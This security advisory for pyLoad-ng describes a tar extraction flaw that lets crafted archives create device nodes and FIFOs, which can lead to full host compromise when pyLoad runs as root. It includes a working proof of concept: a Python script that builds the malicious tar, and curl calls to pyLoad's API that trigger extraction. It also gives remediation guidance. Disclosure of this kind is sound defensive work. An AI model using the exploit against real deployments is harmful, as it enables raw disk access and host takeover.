pyload-ng
Affected
- introduced
0, last affected0.5.0b3.dev101(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-123815
pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
Summary
UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member
names and symlink/hardlink targets, but never checks member types, and callstarfile.extractall without a filter=. On Python < 3.14 the default extraction filter isfully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create
them on disk. When pyLoad runs as root (the official Docker deployment), a block-device
member grants raw disk access — full host compromise — reachable by any low-privileged user
who can trigger archive extraction (ADD to supply an archive, STATUS to invokeExtractArchive.extract_package).
Details
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only
raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner) # no filter=
No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation
in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults
to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create
FIFOs for any euid.
PoC
BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF
# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' \
-d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'
ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)
# → prw-r--r-- 1 root root pipe (FIFO created)
# → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected
(ArchiveError: Attempted path traversal in archive) and nothing is extracted — the
GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary
is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is
reached via non-mapped names — as above — content-sniffed containers, or when 7z is
absent/fails.)
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary
paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),
or set special bits; non-root deployments still get FIFOs and node entries in
user-accessible trees.
Remediation
In _safe_extractall, reject (or skip) every member that is not a regular file, directory,
or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and passfilter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply
the same member-type validation in the pre-extraction validator so all extractors share it.
References
High Basis: The source's own band: HIGH
0, last affected 0.5.0b3.dev101 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0